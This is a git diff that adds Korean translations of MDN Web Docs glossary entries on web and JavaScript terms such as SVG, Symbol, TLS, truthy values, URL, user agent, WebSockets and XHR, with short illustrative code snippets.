Scalable Vector Graphics (SVG)는  {{Glossary("XML")}} 신텍스에 기반을 둔 2D 벡터 이미지 형식(포맷)이다.

+ +

{{Glossary("W3C")}}는 1990년 후반부터 SVG를 사용하기 시작했지만, SVG를 지원하는 {{Glossary("Microsoft Internet Explorer", "Internet Explorer")}} 9가 출시된 후에야 널리 사용되기 시작했다. 현재 주요 웹브라우저({{Glossary("browser","browsers")}})들은 SVG를 지원한다.

+ +

{{Glossary("XML")}} 신텍스를 기반으로 한 SVG는 {{Glossary("CSS")}}를 통해 스타일 처리가 가능하고,  자바스크립트({{Glossary("JavaScript")}})를 사용해 상호소통이 가능하다. 현재 HTML5는  SVG{{Glossary("Tag","tags")}}가 {{Glossary("HTML")}}문서에서 직접 사용 되도록 지원한다.

+ +

벡터 이미지 형식 (vector image format)으로써, SVG 그래픽은 무한정적인 크기를 가질 수 있고, 이러한 점 때문에 어떠한 화면 크기에도 적용 가능한  인터페이스 요소와 그래픽을 만들 수 있어 반응형 디자인({{Glossary("responsive design")}}) 에서 아주 유용하게 여겨진다. 또한 SVG는 클리핑(clipping), 마스킹(masking), 필터(filter), 애니매이션(animation) 등 여러가지 유용한 툴 셋들을 제공한다.

+ +

더보기

+ +

일반 상식

+ + + +

SVG 배우기

+ + + +

기술 정보

+ + diff --git a/files/ko/glossary/symbol/index.html b/files/ko/glossary/symbol/index.html new file mode 100644 index 0000000000..b1dc5d186a --- /dev/null +++ b/files/ko/glossary/symbol/index.html @@ -0,0 +1,61 @@ +--- +title: Symbol +slug: Glossary/Symbol +tags: + - ECMAScript 2015 + - NeedsMarkupWork + - 공유 + - 용어집 + - 자바스크립트 +translation_of: Glossary/Symbol +--- +

이 용어집 페이지에서는 "심볼(symbol)"이라는 데이터 형식과 심볼 데이터 형식의 인스턴스를 생성하는 클래스와 유사한(class-like) "{{jsxref ("Symbol ")}}()"이라는 함수를 설명합니다.

+ +

"심볼" 데이터 형식은 값으로 익명의 객체 속성(object property)을 만들 수 있는 특성을 가진 원시 데이터 형식(primitive data type)입니다. 이 데이터 형식은 클래스나 객체 형식(object type)의 내부에서만 접근할 수 있도록 전용(private) 객체 속성의 키(key)로 사용됩니다. 예를 들어, 심볼 형식으로 된 키는 자바스크립트의 다양한 내장(built-in) 객체 안에 존재합니다. 사용자 지정 클래스(custom classes) 역시 이러한 방식으로 전용 멤버를 만들 수 있습니다. 심볼 데이터 형식은 고도로 특화된 용도로 쓰이며, 범용성은 현저히 떨어집니다; 심볼의 인스턴스에 L값(L-value)을 할당할 수 있고 식별자로 이용할 수 있습니다. 그게 전부입니다; 적용할 수 있는 연산자도 없습니다. (이를 "Number" 형식의 인스턴스, 예를 들어 정수 "42"와 대조해보십시오. 숫자 형식의 인스턴스에는 같은 형식의 다른 값과 비교하거나 조합할 수 있는 다양한 연산자 집합이 제공됩니다.)

+ +

"심볼" 데이터 형식의 값은 "심볼 값(symbol value)"라고도 합니다. 자바스크립트 런타임 환경 내에서 심볼 값은 Symbol() 함수를 호출하여 생성할 수 있는데, 이 함수는 동적으로 익명의 고유한 값을 만들어냅니다. 심볼은 객체 속성(object property)로 사용될 수 있습니다.

+ +
var  myPrivateMethod  = Symbol();
+this[myPrivateMethod] = function() {...};
+ +

심볼 값은 (심볼처럼)익명인 속성에 할당(property assignment)할 때 식별자(identifier)로 사용되며, 비열거형입니다. 자신이 가리키는 속성이 비열거형이기 때문에 "for( ... in ...)"로 구성되는 반복문 내에서 멤버로 사용될 수 없으며, 그 속성이 익명이기 때문에 "Object.getOwnPropertyNames()"가 반환하는 배열에 들어갈 수도 없습니다. 해당 속성은 그 속성을 만든 원래 심볼 값을 이용하거나 "Object.getOwnPropertySymbols()"가 반환하는 배열을 반복(iterating)함으로써 접근할 수 있습니다. 앞의 예제 코드에서는 myPrivateMethod 변수에 저장된 값을 통해 해당 속성에 접근하였습니다.

+ +

내장 함수인 "{{jsxref("Symbol")}}()"는 함수로써 호출되면 심볼 값을 반환하나, "new Symbol()"와 같은 문법으로 생성자로 사용하려 하면 에러를 발생시키는 불완전한 클래스(incomplete class)입니다. "{{jsxref("Symbol")}}()"는 자바스크립트의 전역 심볼 테이블(global symbol table)에 접근할 수 있는 정적 메서드와 공용으로(commonly) 사용되는 객체를 가리키는 특정 심볼의 주소를 값으로 가지는 정적 속성을 가집니다. Symbol() 함수에 의해 생성되는 심볼 값은 앞서 설명한 바와 같습니다. Symbol()를 생성자로 사용할 경우 발생하는 오류는 혼동을 유발할 수 있는 의도치 않은 객체의 생성을 막기 위한 예방책이라 할 수 있습니다. 전역 심볼 레지스트리(the global symbol registry)에 접근하기 위한 메서드는 "Symbol.for()"와 "Symbol.keyFor()"입니다; 이 메서드들은 전역 심볼 테이블(또는 "레지스트리")과 런타임 환경 사이를 중재합니다. 심볼 레지스트리는 대부분 자바스크립트의 컴파일러 인프라스트럭쳐에 의해 구축되며, 심볼 레지스트리의 컨텐츠는 이러한 리플렉티브 메서드를 통하지 않고서는 자바스크립트의 런타임 인프라스트럭쳐가 접근할 수 없습니다.  Symbol.for("tokenString")는 레지스트리로부터 심볼 값을 반환하고 Symbol.keyFor(symbolValue)는 레지스트리로부터 토큰 문자열(token string)을 반환합니다; 서로에게 정반대이므로 다음 코드는 참입니다:

+ +
Symbol.keyFor(Symbol.for("tokenString")) == "tokenString"; // true
+
+ +

Symbol 클래스는 익명에 이름을 부여하는 역설적인 효과를 가진 몇 가지 정적 속성을 가지고 있습니다. 흔히 "잘 알려진" 심볼이라 불리는 몇 가지 심볼이 존재합니다. 이 심볼들은 특정 내장 객체에 존재하는 몇 개의 선택된 메서드 속성을 가리키는 심볼입니다. 이들 심볼을 노출시킴으로써 이들 메서드에 직접 접근할 수 있게됩니다(이런 접근은 사용자 지정 클래스를 정의할 때 유용합니다). 잘 알려진 심볼의 예로는 배열과 유사한 객체에 대한 "Symbol.iterator"와 문자열 객체에 대한 "Symbol.search"가 있습니다. 

+ +

Symbol() 함수와 이 함수가 생성하는 심볼 값은 프로그래머가 사용자 지정 클래스(custom class)를 설계할 때 유용합니다. 심볼 값은 사용자 지정 클래스가 전용 멤버를 만들고 바로 그 클래스와 관련된 심볼 레지스트리를 유지 관리하는 방법을 제공합니다. 사용자 지정 클래스는 심볼 값을 이용하여 의도하지 않은 노출로부터 보호할 수 있는 "자신만의" 속성을 만들 수 있습니다. 클래스 정의 내에서 동적으로 생성된 심볼 값은 클래스 정의 내에서 전용으로만 사용할 수 있는 범위(scoped) 변수에 저장됩니다. 토큰 문자열은 없습니다. 범위 변수는 토큰과 동일한 역할을 합니다.

+ +

어떤 프로그래밍 언어에서는 심볼 데이터 형식을 "atom(원자)"라고 합니다. 

+ +

자바스크립트({{Glossary("JavaScript")}})에서 심볼은 원시 데이터 값({{Glossary("Primitive", "primitive value")}})입니다.

+ +

심볼은 선택적으로 설명으로 가질 수 있지만, 디버깅 용도로만 사용할 수 있습니다.

+ +

심볼 형식은 ECMAScript 2015에 추가된 특성이며 ECMAScript 5에는 심볼과 동등한 형식이 존재하지 않습니다.

+ +
Symbol("foo") !== Symbol("foo")
+const foo = Symbol()
+const bar = Symbol()
+typeof foo === "symbol"
+typeof bar === "symbol"
+let obj = {}
+obj[foo] = "foo"
+obj[bar] = "bar"
+JSON.stringify(obj) // {}
+Object.keys(obj) // []
+Object.getOwnPropertyNames(obj) // []
+Object.getOwnPropertySymbols(obj) // [ Symbol(), Symbol() ]
+ +

Learn more

+ +

General knowledge

+ + diff --git a/files/ko/glossary/tag/index.html b/files/ko/glossary/tag/index.html new file mode 100644 index 0000000000..e2bb42d3cc --- /dev/null +++ b/files/ko/glossary/tag/index.html @@ -0,0 +1,27 @@ +--- +title: 태그 +slug: Glossary/Tag +tags: + - CodingScripting + - Glossary + - HTML +translation_of: Glossary/Tag +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

태그(tag)는 {{Glossary("element", "요소")}}를 만들 때 사용합니다. 문단 태그 <p>처럼, 요소 이름을 부등호 사이에 넣어서 태그를 구성할 수 있습니다. 닫는 태그는 이름 앞에 슬래시 문자를 </p>와 같이 포함하며, {{glossary("empty element", "빈 요소")}}의 경우 닫는 태그가 필요하지 않으며 지정해서도 안됩니다. 태그에 {{glossary("attribute", "특성")}}을 지정하지 않으면 기본값을 사용합니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 참고서

+ + diff --git a/files/ko/glossary/tcp/index.html b/files/ko/glossary/tcp/index.html new file mode 100644 index 0000000000..e7d09d2492 --- /dev/null +++ b/files/ko/glossary/tcp/index.html @@ -0,0 +1,31 @@ +--- +title: TCP +slug: Glossary/TCP +translation_of: Glossary/TCP +--- +

TCP (전송 제어 프로토콜)은 두 개의 호스트를 연결하고 데이터 스트림을 교환하게 해주는 중요한 네트워크 프로토콜이다. TCP는 데이터와 패킷이 보내진 순서대로 전달하는 것을 보장해준다. Vint CERF와 Bob Kahn (당시 DARPA 과학자)는 TCP를 1970년 대에 설계하였다.

+ +

TCP의 역할은 에러가 없이 패킷이 신뢰할 수 있게 전달 되었는지 보증해 주는 것이다. TCP는 동시제어가 가능하다. 이는 초기 요청이 작게 시작해도 컴퓨터들과 서버들의 대역폭의 깊이가 증가해도 네트워크가 지원할 수 있다는 것을 뜻한다.

+ + diff --git a/files/ko/glossary/tls/index.html b/files/ko/glossary/tls/index.html new file mode 100644 index 0000000000..df1e21aad0 --- /dev/null +++ b/files/ko/glossary/tls/index.html @@ -0,0 +1,39 @@ +--- +title: 전송 계층 보안 (TLS) +slug: Glossary/TLS +translation_of: Glossary/TLS +--- +

이전에 {{Glossary("SSL", "Secure Sockets Layer (SSL)")}}로 알려진 Transport Layer Security (TLS)는 어플리케이션들이 네트워크 상에서 안전하게 통신하기 위해 사용된 {{Glossary("protocol")}}이며, 이메일, 웹 브라우징, 메세징, 그리고 다른 프로토코들의 감청을 통한 정보의 변형을 방지한다. SSL과 TLS 모두 네트워크 상에서 보안을 제공하는 cryptographic 프로토콜을 사용한 클라이언트 / 서버 프로토콜이다. 서버와 클라이언트가 TLS로 통신을 할때, 어떠한 제 3자도 메세지를 변형시키거나 감청할 수 없도록 한다.

+ +

모든 모던 브라우저들을 TLS를 지원하고, 안전한 연결을 하기위해서 서버가 유효한 {{Glossary("Digital certificate", "digital certificate")}} 를 제공하기를 요구한다. 클라이언트와 서버 둘 다 각자 digital certificate을 제공하면, 서로를 인증해줄 수 있다.

+ +
+

Note: TLS 1.0 와 1.1 2020년 초부터 대부분의 브라우저에서 지원하지 않을 예정이다; 웹 브라우저가 TLS 1.2 나 TLS 1.3을 지원하는지 확인해보는 것이 좋을 것이다. Firefox는 버전 74 이후로 구 TLS 버전을 사용해서 서버에 연결을 시도할 경우 Secure Connection Failed 에러를 반환한다. ({{bug(1606734)}}).

+
+ + diff --git a/files/ko/glossary/truthy/index.html b/files/ko/glossary/truthy/index.html new file mode 100644 index 0000000000..ae92e41292 --- /dev/null +++ b/files/ko/glossary/truthy/index.html @@ -0,0 +1,53 @@ +--- +title: 참 같은 값 +slug: Glossary/Truthy +tags: + - CodingScripting + - Glossary + - JavaScript +translation_of: Glossary/Truthy +--- +

{{Glossary("JavaScript")}}에서, 참 같은 값(Truthy)인 값이란 {{Glossary("Boolean", "불리언")}}을 기대하는 문맥에서 true로 평가되는 값입니다. 따로 {{Glossary("Falsy", "거짓 같은 값")}}으로 정의된 값이 아니면 모두 참 같은 값으로 평가됩니다. (예: false0-00n""nullundefined와 NaN 등)

+ +

JavaScript는 불리언 문맥에서 {{Glossary("Type_Conversion", "형 변환")}}을 사용합니다.

+ +

다음은 참 같은 값에 대한 예시입니다. JavaScript는 불리언 문맥에서 참 같은 값을 true로 변환하기 때문에 아래의 모든 if 블록을 실행합니다.

+ +
if (true)
+if ({})
+if ([])
+if (42)
+if ("0")
+if ("false")
+if (new Date())
+if (-42)
+if (12n)
+if (3.14)
+if (-3.14)
+if (Infinity)
+if (-Infinity)
+ +

Specifications

+ + + + + + + + + + + + +
Specification
{{SpecName("ESDraft", "#sec-toboolean", "ToBoolean abstract operation")}}
+ +

같이 보기

+ + + +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
diff --git a/files/ko/glossary/ui/index.html b/files/ko/glossary/ui/index.html new file mode 100644 index 0000000000..6563ddcec3 --- /dev/null +++ b/files/ko/glossary/ui/index.html @@ -0,0 +1,15 @@ +--- +title: UI +slug: Glossary/UI +translation_of: Glossary/UI +--- +

User Interface (UI) 는 사용자와 기계의 상호작용을 촉진하는 모든 것이다. 컴퓨터의 세계에서는 키보드, 조이스틱, 화면, 프로그램 등 무엇이든 될 수 있다. 컴퓨터 소프트웨어의 경우 커맨드 라인 프롬프트, 웹페이지, 사용자 입력 양식 또는 응용 프로그램의 프런트엔드가 될 수 있다

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/undefined/index.html b/files/ko/glossary/undefined/index.html new file mode 100644 index 0000000000..1092b29ff4 --- /dev/null +++ b/files/ko/glossary/undefined/index.html @@ -0,0 +1,25 @@ +--- +title: undefined +slug: Glossary/undefined +tags: + - CodingScripting + - Glossary + - JavaScript +translation_of: Glossary/undefined +--- +

undefined는 {{Glossary("primitive", "원시값")}}으로, 선언한 후 값을 할당하지 않은 {{glossary("variable", "변수")}} 혹은 값이 주어지지 않은 {{Glossary("argument","인수")}}에 자동으로 할당됩니다.

+ +

예제

+ +
var x; // 값을 할당하지 않고 변수 선언
+
+console.log("x's value is", x) // "x's value is undefined" 출력
+
+ +

더 알아보기

+ +

기술 참고서

+ + diff --git a/files/ko/glossary/unicode/index.html b/files/ko/glossary/unicode/index.html new file mode 100644 index 0000000000..9e74ccfd8a --- /dev/null +++ b/files/ko/glossary/unicode/index.html @@ -0,0 +1,20 @@ +--- +title: 유니코드 +slug: Glossary/Unicode +tags: + - Glossary + - Infrastructure +translation_of: Glossary/Unicode +--- +

유니코드는 세계 각국의 서로 다른 언어와 쓰기 방식, 기호 등을 모아 번호를 할당하고 {{glossary("character", "문자")}}를 정의하는 표준 {{Glossary("character set","문자 집합")}}입니다. 각각의 문자에 번호를 매김으로써 프로그래머는 {{Glossary("character encoding", "문자 인코딩")}}을 제작할 수 있고, 컴퓨터는 그 인코딩을 사용해 같은 파일 또는 프로그램 내에서 어떠한 언어 조합을 사용하더라도 저장, 처리, 전송할 수 있습니다.

+ +

유니코드 이전에는 하나의 데이터가 여러 언어를 한 번에 가지기 힘들었고, 오류에도 취약했습니다. 예를 들어 하나의 문자 집합은 한글, 다른 집합은 영문 알파벳을 저장할 수 있다고 했을 때, 데이터의 어디서부터 어디까지가 한글이고 어디까지가 영문 알파벳인지 분명하게 표시해놓지 않으면 다른 프로그램이나 컴퓨터가 데이터를 잘못 표시하거나, 처리 과정에서 손상시킬 수 있었습니다. 어떤 글이 占쏙옙처럼 말도 안되는 글자로 표시되는걸 본 적이 있다면, 실제로 프로그램이 문자를 적절히 처리하지 못한 예시를 확인한 것입니다.

+ +

웹에서 제일 널리 쓰이는 유니코드 문자 인코딩은 {{Glossary("UTF-8")}}입니다. UTF-16이나 이제 사용하지 않는 UCS-2 등 다른 인코딩도 존재하지만 UTF-8을 추천합니다.

+ +

더 알아보기

+ + diff --git a/files/ko/glossary/uri/index.html b/files/ko/glossary/uri/index.html new file mode 100644 index 0000000000..759bb9e381 --- /dev/null +++ b/files/ko/glossary/uri/index.html @@ -0,0 +1,23 @@ +--- +title: URI +slug: Glossary/URI +tags: + - Glossary + - HTTP + - Search + - URI + - URL +translation_of: Glossary/URI +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

URI(Uniform Resource Identifier)는 하나의 리소스를 가리키는 문자열입니다. 가장 흔한 URI는 {{glossary("URL")}}로, 웹 상에서의 위치로 리소스를 식별합니다. 반면, {{glossary("URN")}}은 주어진 이름공간 안의 이름으로 리소스를 식별합니다. 도서의 ISBN을 예시로 사용할 수 있습니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/url/index.html b/files/ko/glossary/url/index.html new file mode 100644 index 0000000000..1b23992f97 --- /dev/null +++ b/files/ko/glossary/url/index.html @@ -0,0 +1,36 @@ +--- +title: URL +slug: Glossary/URL +tags: + - Glossary + - Infrastructure + - 'l10n:priority' +translation_of: Glossary/URL +--- +
{{QuickLinksWithSubpages("/ko/docs/Glossary")}}
+ +

URL(Uniform Resource Locator)은 인터넷에서 웹 페이지, 이미지, 비디오 등 리소스의 위치를 가리키는 문자열입니다.

+ +

{{Glossary("HTTP")}} 맥락에서 URL은 "웹 주소" 또는 "링크"라고 불립니다. {{glossary("browser", "브라우저")}}는 https://developer.mozilla.org 등 URL을 주소창에 표시합니다. 일부 브라우저는 URL에서 "//" 뒤의 일부분, 즉 {{glossary("domain name", "도메인 이름")}}만 표시합니다.

+ +

URL은 파일 전송({{glossary("FTP")}}), 이메일({{glossary("SMTP")}}) 등 다른 응용 프로그램에서도 사용할 수 있습니다.

+ +

더 알아보기

+ +

일반적인 지식

+ + + +

배워보기

+ + + +

명세

+ + diff --git a/files/ko/glossary/user_agent/index.html b/files/ko/glossary/user_agent/index.html new file mode 100644 index 0000000000..dbfda1be0c --- /dev/null +++ b/files/ko/glossary/user_agent/index.html @@ -0,0 +1,56 @@ +--- +title: 사용자 에이전트 +slug: Glossary/User_agent +tags: + - Browser + - Glossary + - UA + - User-agent + - WebMechanics + - user agent + - userAgent + - 사용자 에이전트 + - 유저 에이전트 +translation_of: Glossary/User_agent +--- +

사용자 에이전트(user agent)는 사용자를 대표하는 컴퓨터 프로그램으로, {{Glossary("World Wide Web", "웹")}} 맥락에선 {{Glossary("Browser", "브라우저")}}를 의미합니다.

+ +

브라우저 외에도 웹 페이지를 긁어가는 봇, 다운로드 관리자, 웹에 접근하는 다른앱도 사용자 에이전트입니다. 브라우저는 서버에 보내는 모든 요청에 사용자 에이전트 문자열이라고 부르는, 자신의 정체를 알리는 {{httpheader("User-Agent")}} {{Glossary("HTTP")}} 헤더를 보냅니다. 이 문자열은 보통 브라우저 종류, 버전 번호, 호스트 운영체제를 포함합니다.

+ +

스팸 봇, 다운로드 관리자, 일부 브라우저는 자신의 정체를 숨기고 다른 클라이언트인 척 하려고 가짜 사용자 에이전트 문자열을 보내곤 하며, 이를 사용자 에이전트 스푸핑(spoofing)이라고 말합니다.

+ +

클라이언트에서는 {{Glossary("JavaScript")}}의 {{domxref("navigator.userAgent")}} 속성을 통해 사용자 에이전트 문자열에 접근할 수 있습니다.

+ +

보통 사용자 에이전트 문자열은 "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"과 같은 형태입니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 참고서

+ + + + diff --git a/files/ko/glossary/utf-8/index.html b/files/ko/glossary/utf-8/index.html new file mode 100644 index 0000000000..1052533c1a --- /dev/null +++ b/files/ko/glossary/utf-8/index.html @@ -0,0 +1,17 @@ +--- +title: UTF-8 +slug: Glossary/UTF-8 +translation_of: Glossary/UTF-8 +--- +

UTF-8(UCS Transformation Format 8)은 월드 와이드 웹의 가장 일반적인 {{Glossary("Character encoding", "문자 인코딩")}}이다. 각 문자는 1~4바이트로 표시된다. UTF-8은 {{Glossary("ASCII")}}와 역호환되며 표준 유니코드 문자를 나타낼 수 있다.

+ +

처음 128개의 UTF-8 문자는 처음 128개의 ASCII 문자(숫자 0-127)와 정확히 일치하며, 이는 기존 ASCII 텍스트가 이미 유효한 UTF-8임을 의미한다. 다른 모든 문자는 2 ~ 4바이트를 사용한다. 각각의 바이트는 인코딩 목적으로 남겨진 비트가 있다. 비 ASCII 문자가  저장을 위해 1 바이트 이상을 요구하기 때문에, 바이트가 분리되고 재결합되지 않은 상태로 실행하면 손상될 위험이 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ + diff --git a/files/ko/glossary/variable/index.html b/files/ko/glossary/variable/index.html new file mode 100644 index 0000000000..ac52d0578a --- /dev/null +++ b/files/ko/glossary/variable/index.html @@ -0,0 +1,21 @@ +--- +title: Variable +slug: Glossary/Variable +translation_of: Glossary/Variable +--- +

변수는 {{Glossary("Value", "값")}}을 저장하기 위해 명명된 위치이다. 이것을 사용하면 미리 정해진 이름을 통해 예측할 수 없는 값에 접근할 수 있다.

+ +

더 알아보기

+ +

일반적인 지식

+ + + +

기술적 참조

+ + diff --git a/files/ko/glossary/viewport/index.html b/files/ko/glossary/viewport/index.html new file mode 100644 index 0000000000..95f9456d3b --- /dev/null +++ b/files/ko/glossary/viewport/index.html @@ -0,0 +1,22 @@ +--- +title: 뷰포트 +slug: Glossary/Viewport +tags: + - CodingScripting + - Glossary + - Layout + - viewport +translation_of: Glossary/Viewport +--- +

컴퓨터 그래픽스에서, 뷰포트(viewport)는 현재 화면에 보여지고 있는 다각형(보통 직사각형)의 영역입니다. 웹 브라우저에서는 현재 창에서 문서를 볼 수 있는 부분(전체화면이라면 화면 전체)을 말합니다. 뷰포트 바깥의 콘텐츠는 스크롤 하기 전엔 보이지 않습니다.

+ +

뷰포트 중에서도 지금 볼 수 있는 부분을 {{glossary("visual viewport", "시각적 뷰포트")}}라고 부릅니다. 스마트폰에서 사용자가 화면을 확대했을 때와 같은 특정 상황에서 {{glossary("layout viewport", "레이아웃 뷰포트")}}의 크기는 변하지 않지만 시각적 뷰포트는 더 작아집니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/webextensions/index.html b/files/ko/glossary/webextensions/index.html new file mode 100644 index 0000000000..d7fe038101 --- /dev/null +++ b/files/ko/glossary/webextensions/index.html @@ -0,0 +1,14 @@ +--- +title: WebExtensions +slug: Glossary/WebExtensions +translation_of: Glossary/WebExtensions +--- +

WebExtensions은 Firefox에서 브라우저 Extension을 개발하기위한 크로스 브라우저 시스템입니다. 이 시스템은 Mozilla Firefox, Google Chrome, Opera Browser 및 Microsoft Edge와 같은 다양한 브라우저에서 지원되는 API를 제공합니다.

+ +

Learn more

+ +

Technical reference

+ + diff --git a/files/ko/glossary/webrtc/index.html b/files/ko/glossary/webrtc/index.html new file mode 100644 index 0000000000..da4eab7c61 --- /dev/null +++ b/files/ko/glossary/webrtc/index.html @@ -0,0 +1,25 @@ +--- +title: WebRTC +slug: Glossary/WebRTC +translation_of: Glossary/WebRTC +--- +

WebRTC (Web Real-Time Communication) {{Glossary("API")}} 는 영상 채팅, 음성 통화, 그리고 P2P 파일 공유 웹 어플리케이션에서 사용할 수 있습니다.

+ +

WebRTC 의 3가지 주요 부분:

+ +
+
getUserMedia
+
기기의 카메라와 마이크를 같이 혹은 개별로 접속권한을 부여받으며, RTC connection에 신호를 연결할 수 있습니다.
+
RTCPeerConnection
+
비디오 채팅 또는 음성 통화를 구성하기위한 인터페이스입니다.
+
RTCDataChannel
+
브라우저간에 {{Glossary("P2P", "peer-to-peer")}} 데이터 경로 설정방법을 제공합니다.
+
+ +

Learn more

+ + diff --git a/files/ko/glossary/websockets/index.html b/files/ko/glossary/websockets/index.html new file mode 100644 index 0000000000..743190595a --- /dev/null +++ b/files/ko/glossary/websockets/index.html @@ -0,0 +1,31 @@ +--- +title: WebSockets +slug: Glossary/WebSockets +translation_of: Glossary/WebSockets +--- +

WebSocket 은 언제든지 데이터를 교환할 수 있도록 {{Glossary("Server", "서버")}}와 클라이언트 간의 지속적인 {{Glossary("TCP")}} 연결을 허용하는 {{Glossary("protocol", "프로토콜")}}이다.

+ +

어떤 클라이언트나 서버 애플리케이션도 WebSocket을 사용할 수 있지만, 주로 웹 {{Glossary("Browser", "브라우저")}}와 웹 서버를 사용할 수 있다. WebSocket을 통해 서버는 사전 클라이언트 요청 없이 클라이언트에 데이터를 전달할 수 있으므로 동적 컨텐츠 업데이트가 가능하다.

+ +

더 알아보기

+ + + +

일반적 지식

+ + + +

기술적 참조

+ + + +

이것에 대해 알아보기

+ + diff --git a/files/ko/glossary/whatwg/index.html b/files/ko/glossary/whatwg/index.html new file mode 100644 index 0000000000..02bcb17803 --- /dev/null +++ b/files/ko/glossary/whatwg/index.html @@ -0,0 +1,23 @@ +--- +title: WHATWG +slug: Glossary/WHATWG +tags: + - Community + - DOM + - Glossary + - HTML + - HTML5 + - WHATWG + - Web +translation_of: Glossary/WHATWG +--- +

WHATWG(Web Hypertext Application Technology Working Group)은 {{Glossary("DOM")}}, Fetch, {{Glossary("HTML")}} 등 웹 표준을 개발하고 유지하는 단체입니다. 2004년, Apple, Mozilla, Opera의 임직원이 설립했습니다.

+ +

더 알아보기

+ +

일반 지식

+ + diff --git a/files/ko/glossary/world_wide_web/index.html b/files/ko/glossary/world_wide_web/index.html new file mode 100644 index 0000000000..3a5b8c97f8 --- /dev/null +++ b/files/ko/glossary/world_wide_web/index.html @@ -0,0 +1,41 @@ +--- +title: World Wide Web +slug: Glossary/World_Wide_Web +tags: + - Infrastructure + - WWW + - World Wide Web +translation_of: Glossary/World_Wide_Web +--- +

흔히 WWW, W3, Web으로 불리는 World Wide Web은 {{Glossary("Internet")}}을 통해 접근 가능한 공용 웹페이지의 상호연결 시스템이다. 웹은 인터넷과 다르며, 인터넷을 기반으로 한 수많은 응용 프로그램 중 하나이다.

+ +

팀 버너스리가 제안한 구조를 바탕으로 훗날 World Wide Web으로 알려질 것이 만들어졌다. 그는 1990년에 CERN 물리학 연구소에서 자신의 컴퓨터에 최초의 웹 {{Glossary("Server","server")}}, 웹 {{Glossary("Browser","browser")}}, 웹페이지를 만들었다. 곧바로 alt.hypertext 뉴스 그룹에 이 소식을 알렸고, 이것이 웹이 세상에 공식적으로 모습을 드러낸 첫 순간이었다.

+ +

오늘날 우리가 "웹"이라고 알고 있는 시스템은 이러한 구성요소로 이루어져 있다:

+ + + +

웹의 개념은 {{Glossary("Hyperlink","hyperlinks")}}로 링크되고 연결된 문서를 보면 잘 알 수 있다. 웹의 정체성은 연결된 문서들의 집합으로서 정의된다.

+ +

웹이 발명되고 얼마 지나지 않아, 팀 버너스리는 웹의 발전과 표준화를 위해 {{Glossary("W3C")}} (World Wide Web Consortium)을 설립했다. 이 콘소시엄은 웹에 관심 있는 핵심 그룹으로 구성되어 있는데, 예를 들면 웹 브라우저 개발자, 정부 기관, 연구소, 대학들이 참가하고 있다. 이들은 웹에 대한 교육과 전파에도 힘쓰고 있다.
+  

+ +

더 알아보기

+ +

더 배우고 싶다면

+ + + +

일반적인 지식

+ + diff --git a/files/ko/glossary/wrapper/index.html b/files/ko/glossary/wrapper/index.html new file mode 100644 index 0000000000..3c0786921b --- /dev/null +++ b/files/ko/glossary/wrapper/index.html @@ -0,0 +1,27 @@ +--- +title: Wrapper +slug: Glossary/Wrapper +translation_of: Glossary/Wrapper +--- +

자바스크립트와 같은 프로그래밍 언어에서 래퍼는 하나 이상의 다른 기능들을 호출하기 위한 기능이며, 때로는 순전히 편의상, 때로는 프로세스에서 약간 다른 작업을 하도록 적응시키는 기능이다.

+ +

예를 들어 AWS용 SDK 라이브러리는 래퍼의 한 예이다.

+ +

더 알아보기

+ +

일반적 지식

+ +

Wikipedia의 {{Interwiki("wikipedia", "Wrapper function")}} 

+ + diff --git a/files/ko/glossary/xhr_(xmlhttprequest)/index.html b/files/ko/glossary/xhr_(xmlhttprequest)/index.html new file mode 100644 index 0000000000..8c69eafc92 --- /dev/null +++ b/files/ko/glossary/xhr_(xmlhttprequest)/index.html @@ -0,0 +1,26 @@ +--- +title: XHR (XMLHttpRequest) +slug: Glossary/XHR_(XMLHttpRequest) +tags: + - API + - CodingScripting + - Glossary +translation_of: Glossary/XHR_(XMLHttpRequest) +--- +

{{domxref("XMLHttpRequest")}}(XHR)은 {{Glossary("AJAX")}} 요청을 생성하는 {{Glossary("JavaScript")}} {{Glossary("API")}}입니다. XHR의 메서드로 {{Glossary("browser", "브라우저")}}와 {{Glossary("server", "서버")}}간의 네트워크 요청을 전송할 수 있습니다.

+ +

더 알아보기

+ +

일반 지식

+ + + +

기술 정보

+ + diff --git "a/files/ko/glossary/\353\217\231\354\240\201_\355\224\204\353\241\234\352\267\270\353\236\230\353\260\215_\354\226\270\354\226\264/index.html" "b/files/ko/glossary/\353\217\231\354\240\201_\355\224\204\353\241\234\352\267\270\353\236\230\353\260\215_\354\226\270\354\226\264/index.html" new file mode 100644 index 0000000000..dc17a46f18 --- /dev/null +++ "b/files/ko/glossary/\353\217\231\354\240\201_\355\224\204\353\241\234\352\267\270\353\236\230\353\260\215_\354\226\270\354\226\264/index.html" @@ -0,0 +1,20 @@ +--- +title: 동적 프로그래밍 언어 +slug: Glossary/동적_프로그래밍_언어 +translation_of: Glossary/Dynamic_programming_language +--- +

A dynamic programming language is a programming language in which operations otherwise done at compile-time can be done at run-time. For example, in JavaScript it is possible to change the type of a variable or add new properties or methods to an object while the program is running.

+ +

This is opposed to so-called static programming languages, in which such changes are normally not possible.

+ +
+

Note that while there is indeed a connection between this dynamic/static property of programming languages and dynamic/static-typing, the two are far from synonymous.

+
+ +

Learn more

+ +

General knowledge

+ + diff --git "a/files/ko/glossary/\353\260\260\354\227\264/index.html" "b/files/ko/glossary/\353\260\260\354\227\264/index.html" new file mode 100644 index 0000000000..b7f3f63957 --- /dev/null +++ "b/files/ko/glossary/\353\260\260\354\227\264/index.html" @@ -0,0 +1,30 @@ +--- +title: 배열 +slug: Glossary/배열 +tags: + - 배열 +translation_of: Glossary/array +--- +

배열은 데이터의 순서가 있는 집합  (  언어어 따라 {{Glossary("primitive")}} 또는  {{Glossary("object")}}) 이다. 배열은 하나의 변수의 여러개의 값들을 저장하는데 사용된다.  이것은 단 하나의 값을 저장하는 변수와 비교된다. 

+ +

